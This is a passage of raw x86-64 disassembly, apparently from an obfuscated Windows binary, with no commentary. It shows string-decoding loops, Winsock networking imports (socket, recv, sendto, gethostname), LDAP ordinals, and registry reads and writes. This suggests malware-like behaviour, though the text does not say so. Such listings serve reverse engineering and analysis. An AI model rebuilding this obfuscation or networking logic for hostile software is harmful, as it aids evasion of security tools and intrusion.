add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3e
add r8, r9
jmp 0x1400d93d0
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x7c]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x64
jmp 0x1400d9297
lea edx, [rdi - 0x5a]
mov ecx, Ordinal_60
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d8a33
lea edx, [rdi - 0x30]
mov ecx, Ordinal_41
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d8a33
mov ecx, reloc.WS2_32.dll_setsockopt
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 6]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d9351
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400d906e
lea edx, [rdi - 0x15]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x6d
jmp 0x1400d8eec
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d90a3
lea edx, [rdi - 0x72]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
movzx eax, byte [rbp + rdi - 0x80]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d8a33
inc rax
cmp r8, rax
jne 0x1400d90c9
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d9425
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d90f0
lea edx, [rdi + 0x3a]
mov ecx, gethostname
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d9401
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d8eef
lea ecx, [rdi - 0x1a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4a
add r8, r9
jmp 0x1400d93d0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9141
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x2b]
and al, dl
add al, al
sub r11b, al
add r11b, 0x2d
jmp 0x1400d9351
inc rax
cmp r8, rax
jne 0x1400d916b
lea ecx, [rdi - 0x55]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x53
inc rdi
jmp 0x1400d8a33
cmp r8, rcx
jne 0x1400d918f
lea ecx, [rdi - 0x7f]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x79
inc rdi
jmp 0x1400d8a33
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d8e78
lea ecx, [rdi - 0x7b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x80]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
add r11b, 0x5d
inc rdi
jmp 0x1400d8a33
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d91f8
lea edx, [rdi + 0x1c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
movzx eax, byte [rbp + rdi - 0x80]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d8a33
inc rax
cmp r8, rax
jne 0x1400d921e
lea edx, [rdi - 0xe]
mov ecx, Ordinal_50
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d9425
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d924b
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d8a33
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400d8eab
mov ecx, gethostname
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x34]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d9351
movzx r11d, byte [rbp + rdi - 0x80]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x78]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x48
add r11b, bl
add r11b, dl
movzx eax, bl
add r10b, 0x63
and al, r10b
add al, al
sub bl, al
add bl, 0x4b
add bl, r10b
add bl, r11b
mov byte [rbp + rdi - 0x80], bl
add r8, r9
jmp 0x1400d93d0
lea edx, [rdi + 0x4e]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, byte [rbp + rdi - 0x80]
sub r11b, 0x22
add r11b, dl
jmp 0x1400d9401
lea edx, [rdi - 9]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x3f
add r11b, dl
jmp 0x1400d9425
lea ecx, [rdi + 0x75]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x33
add r8, r9
jmp 0x1400d93d0
lea ecx, [rdi - 0x37]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7f
inc rdi
jmp 0x1400d8a33
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x1d]
and al, dl
add al, al
sub r11b, al
add r11b, 0x35
add r11b, dl
movzx eax, bl
sub r10b, 0x73
and al, r10b
inc r9
add al, al
sub bl, al
add bl, 0x25
add bl, r10b
mov byte [rbp + rdi - 0x80], bl
dec rdi
inc rdi
jmp 0x1400d8a33
lea ecx, [rdi - 0x65]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3d
inc r9
dec rdi
inc rdi
jmp 0x1400d8a33
lea ecx, [rdi - 0x3b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x63
dec rdi
inc rdi
jmp 0x1400d8a33
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x2b
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d8a33
lea rcx, [rdi + r12]
movzx ebx, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 5
lea edx, [rdi + 0x39]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x71
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x80], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x24]
movzx eax, bl
and al, dl
inc r8
mov ecx, 2
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi - 0x80], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x80]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d8a33
lea rcx, [rdi + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x47
movzx eax, byte [rbp + rdi - 0x80]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d8a33
add dil, 0x17
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x5f
jmp 0x1400d8a30
add dil, 0x41
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x39
jmp 0x1400d8a20
lea r8, [rbp + 0x16a8964]
jmp 0x1400d94d5
lea r8, [rbp + 0x1717b4f]
jmp 0x1400d94d5
lea r8, [rbp - 0x80]
mov rcx, qword [rbp + 0x270]
lea rax, [rbp + 0x260]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x268]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9d, [rdx + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400db94b
cmp dword [rbp + 0x268], 1
jne 0x1400db94b
movzx r10d, byte [rbp + 0x260]
xor eax, eax
xorps xmm0, xmm0
mov word [rbp - 0x48], ax
movups xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x46], al
movabs rsi, 0x720dd839c68d0d6e
mov dword [rbp + 0x268], r13d
movabs r14, 0x562988ad53a7284a
mov dword [rbp - 0x60], 0x15131f29
mov dword [rbp - 0x5c], 0x7712141c
nop dword [rax + rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
mov rdi, r13
cmp rdi, 0x1b
jae 0x1400da0b1
movzx r11d, byte [rbp + rdi - 0x60]
mov rdx, r11
cmp r8, rdi
ja 0x1400da0a8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d95b0
lea r10, [rdi + rsi]
movzx eax, r10b
and al, dl
add al, al
sub r10b, al
sub r10b, 2
add r10b, dl
jmp 0x1400d95f0
je 0x1400da03d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400da00c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d9fd3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d9fb3
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d9f90
nop word [rax + rax]
cmp r9, rdi
ja 0x1400da09f
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400d9619
lea ecx, [rdi + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
jmp 0x1400d9660
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d9f4e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d9f2e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d9f14
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d9e9a
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d9e72
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d9bd6
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d9bb3
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d9b8b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d9b66
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d9b43
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d9b24
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d9b05
lea rcx, [r9 + 0x1000]
cmp r8, rcx
je 0x1400d9ae6
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d9ac7
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d9a9a
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d9670
lea r9, [rcx + 0x7a]
mov r8, rcx
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x1400da082
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400da065
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400d9854
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400d983a
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400d9820
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400d9a4c
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400d99f3
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400d99b4
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400d9992
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400d9670
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d9969
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d994b
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d992d
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d9912
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d98f7
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d98d5
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d98b4
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d9890
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d986e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d9670
lea r8, [r9 + 0x80]
lea r9, [r8 + 2]
jmp 0x1400d9670
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
jmp 0x1400d9660
lea ecx, [rdi - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x1400d95f0
lea ecx, [rdi + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x1400d9583
lea edx, [rdi + 0x30]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
movzx ebx, dil
sub r10b, al
sub r10b, 0x50
add r10b, dl
jmp 0x1400d9f67
lea ecx, [rdi + 0x54]
movzx eax, r11b
and al, cl
inc r9
add al, al
dec rdi
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4c
inc rdi
jmp 0x1400d9573
lea ecx, [rdi + 0x78]
movzx eax, r11b
and al, cl
dec rdi
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
inc rdi
jmp 0x1400d9573
lea edx, [rdi - 0x64]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
movzx ebx, dil
sub r10b, al
sub r10b, 0x44
add r10b, dl
jmp 0x1400d9fec
lea ecx, [rdi - 0x40]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
jmp 0x1400da021
lea ecx, [rdi - 0x1c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3c
jmp 0x1400da024
lea edx, [rdi + 8]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, dl
jmp 0x1400d9eaf
lea edx, [rdi + 0x2c]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x1400d9ed6
lea ecx, [rdi + 0x50]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + r11]
sub r10b, 0x30
inc rdi
jmp 0x1400d9573
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
mov byte [rbp + rdi - 0x60], r10b
inc rdi
jmp 0x1400d9573
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
cmp r9, 0x5a
jb 0x1400d99a7
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx - 0x2c]
and al, dl
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400d9f67
lea ecx, [rdi + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
cmp r8, 1
jae 0x1400d9e36
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d9de2
lea edx, [rdi + 0x18]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d9573
lea ecx, [rdi - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
lea rax, [r9 + r8]
cmp rax, 3
je 0x1400d9e59
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1400d9ce6
lea edx, [rdi + 0x36]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x7a
add r10b, dl
jmp 0x1400d9a08
lea edx, [rdi + 0x24]
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d9573
lea edx, [rdi + 0x48]
mov ecx, 4
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d9ed6
lea edx, [rdi + 0x6c]
mov ecx, 6
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d9eaf
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400da024
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400da021
mov ecx, ntohl
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx - 0x28]
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d9fec
lea edx, [rdi - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, r11b
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d9573
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, r11b
inc r9
and al, dl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d9573
mov ecx, reloc.WS2_32.dll_select
movzx ebx, dil
lea edx, [rbx + 0x44]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d9f67
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400d9bf9
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x1400d9a61
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9c2a
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x54
inc rdi
jmp 0x1400d9573
inc rax
cmp r8, rax
jne 0x1400d9c4c
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
jmp 0x1400d9ed6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d9c6f
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x1400da024
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d9c92
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x1400da021
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d9cb9
movzx ebx, dil
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400d9fec
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d9a61
lea ecx, [rdi + 0x34]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
inc rdi
jmp 0x1400d9573
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d9d11
movzx ebx, dil
movzx eax, r11b
movzx r10d, r11b
lea edx, [rbx + 0x12]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x7e
add r10b, dl
jmp 0x1400d9f67
inc rax
cmp r8, rax
jne 0x1400d9d3e
lea edx, [rdi - 0x36]
mov ecx, 0x3d
movzx eax, r11b
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d9573
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d9d66
lea edx, [rdi - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400da021
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d9d8e
lea edx, [rdi + 0x5e]
mov ecx, gethostname
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400da024
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d9db6
lea edx, [rdi + 0x3a]
mov ecx, gethostname
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d9eaf
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d9a08
lea edx, [rdi + 0x16]
mov ecx, 0x33
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d9ed6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d9e0a
lea edx, [rdi - 0x30]
mov ecx, Ordinal_41
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d9eaf
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d99c9
lea edx, [rdi - 0x54]
mov ecx, Ordinal_41
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400da024
movzx ecx, byte [rbp + rdi - 0x60]
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx - 0x50]
and al, dl
sub cl, al
add cl, 0x18
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400d9fec
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400d9eaf
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x4e
inc rdi
jmp 0x1400d9573
lea ecx, [rdi + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
lea edx, [rdi - 6]
inc r9
movzx eax, dl
mov ecx, reloc.WS2_32.dll_setsockopt
and al, r11b
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi - 0x60], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x68]
inc r8
movzx eax, dl
mov ecx, reloc.WS2_32.dll_sendto
and al, r11b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi - 0x60], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9573
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x1400da021
lea ecx, [rdi - 0x66]
dec rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
inc rdi
jmp 0x1400d9573
movzx ebx, dil
lea ecx, [rbx - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
add bl, 0x42
mov ecx, Ordinal_27
movzx eax, bl
inc r9
and al, r11b
sub cl, al
add cl, cl
add cl, bl
add cl, r11b
mov byte [rbp + rdi - 0x60], cl
dec rdi
inc rdi
jmp 0x1400d9573
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
inc r9
dec rdi
inc rdi
jmp 0x1400d9573
lea ecx, [rdi + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
dec rdi
inc rdi
jmp 0x1400d9573
movzx ebx, dil
lea ecx, [rbx - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
add bl, 0x1e
mov ecx, reloc.WS2_32.dll_socket
movzx eax, bl
and al, r11b
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
add cl, r11b
mov byte [rbp + rdi - 0x60], cl
jmp 0x1400da021
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x16
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d9573
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 6
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9573
add dil, 0x26
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0xa
jmp 0x1400d9570
add dil, 0x4a
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 6
jmp 0x1400d9560
lea rdx, [rbp + 0x1450588]
jmp 0x1400da0b5
lea rdx, [rbp + 0x15212f6]
jmp 0x1400da0b5
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x270]
lea rax, [rbp + 0x268]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400db94b
movzx r11d, byte [rbp + 0x260]
movabs rsi, 0xbbdedd64323e0319
mov dword [rbp + 0x190], 0x83a04eb
movabs r14, 0x9ad5c885c42e1be1
mov dword [rbp + 0x194], 0x3e3de6d2
movabs r12, 0x23180dbd5fb215af
mov dword [rbp + 0x198], 0x3c00323a
movabs r15, 0x339c982c96ba094b
mov dword [rbp + 0x19c], 0xee83b3b
mov dword [rbp + 0x1a0], 0x38e40839
mov dword [rbp + 0x1a4], 0x2b3e3e30
mov dword [rbp + 0x1a8], 0x24fc2125
mov dword [rbp + 0x1ac], 0x2ff82528
mov dword [rbp + 0x1b0], 0x2df41829
mov dword [rbp + 0x1b4], 0x8f222a29
mov dword [rbp + 0x1b8], 0x54615a52
mov dword [rbp + 0x1bc], 0x5b535d54
mov dword [rbp + 0x1c0], 0x52438594
mov dword [rbp + 0x1c4], 0x44528169
mov dword [rbp + 0x1c8], 0x779c4145
mov dword [rbp + 0x1cc], 0x4c76994b
mov dword [rbp + 0x1d0], 0x7d4b797b
mov dword [rbp + 0x1d4], 0x7e77917e
mov dword [rbp + 0x1d8], 0x9bac4345
mov dword [rbp + 0x1dc], 0x7672a997
mov dword [rbp + 0x1e0], 0x7896a548
mov dword [rbp + 0x1e4], 0xbf4e4a44
mov dword [rbp + 0x1e8], 0x52bc6c52
mov dword [rbp + 0x1ec], 0xa56d576b
mov dword [rbp + 0x1f0], 0x685a85b6
mov dword [rbp + 0x1f4], 0x74b05c5f
mov dword [rbp + 0x1f8], 0xa597a19c
mov dword [rbp + 0x1fc], 0x4799a54a
mov dword [rbp + 0x200], 0xafa99ea8
mov dword [rbp + 0x204], 0x5facaf9d
mov dword [rbp + 0x208], 0x5b8785b2
mov word [rbp + 0x20c], 0x646a
mov dword [rbp + 0x20e], 0x374a
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
mov rbx, r13
cmp rbx, 0x82
jae 0x1400dad60
movzx r10d, byte [rbp + rbx + 0x190]
mov rdx, r10
nop dword [rax]
cmp r8, rbx
ja 0x1400dad57
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400da2ba
lea r11, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
add r11b, 0x51
add r11b, dl
jmp 0x1400da2f4
je 0x1400daced
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dac69
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dac3b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dabfb
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400dabdb
cmp r9, rbx
ja 0x1400dad4e
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400da31d
lea ecx, [rbx + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
